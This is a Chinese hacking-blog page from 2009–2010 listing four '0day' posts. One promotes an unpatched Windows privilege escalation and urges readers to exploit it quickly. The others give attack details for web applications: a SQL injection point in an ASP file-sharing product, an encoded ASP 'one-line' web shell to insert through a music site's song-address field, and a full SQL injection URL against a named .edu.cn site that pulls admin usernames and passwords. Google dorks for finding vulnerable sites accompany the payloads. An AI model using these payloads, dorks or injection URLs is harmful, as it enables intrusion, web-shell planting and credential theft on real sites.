windows最新0day 本地提权通杀所有版本XP 2K 2K3 2K8 VISTA WIN7

作者:admin 日期:2010-01-22

谷歌工程师首发：windows最新0day 本地提谷歌果然卧虎藏龙，存在17年的漏洞编译至今通杀
测试英文版系统user提权没问题
中文有的会蓝屏有的直接提权
此漏洞导致大部分系统可以提权，目前还没出补丁，及时利用吧。
windows最新0day 通杀所有版本

Tags: windows windows 0day 0day 提权提权

分类:漏洞相关 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 113

Xxasp网络硬盘v3.3.2 Sql injection 0day

作者:admin 日期:2009-12-01

Xxasp网络硬盘v3.3.2 Sql injection 0day
至于这套系统我就不多介绍了,漏洞涉及文件为MyFiles.asp ShareList.asp,
我以ShareList.asp为例简单分析下,代码如下:
Dim MyOrderBy,MyCondition,MyTopField,SearchType,SearchCondition
SearchType=Trim(Request("SearchType"))

Tags: Xxasp网络硬盘 Xxasp网络硬盘 0day 0day

分类:漏洞相关 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 61

8603音乐网管理系统 v2009.1001 0day

作者:admin 日期:2009-12-01

8603音乐网管理系统 v2009.1001 数据库可插入一句话和Cookies注入

数据库未作任何处理，可以插入一句话。继续插入经典一句话。┼攠數畣整爠煥敵瑳∨≡┩愾密码a

Google： inurl:player.asp?classid 打开网页，点击请你添加歌曲，在歌曲地址处插入一句话，提交，连接数据库即可。

Tags: 8603音乐网管理系统 8603音乐网管理系统 0day 0day

分类:漏洞相关 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 37

PSArt 新闻发布系统0day

作者:admin 日期:2009-11-17

PSArt 新闻发布系统 PSArt Ver 1.2.0多文件存在Sql注入，裸奔的一套系统。

Google：Power by CNBaJing.CN

注入语句：http://www.sqnc.edu.cn/kxfzg/news.asp?id=128%20and%201=2%20union%20select%201,username,3,4,5,6,7,password,9%20from%20admin

Tags: PSArt PSArt 0day 0day

分类:漏洞相关 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 39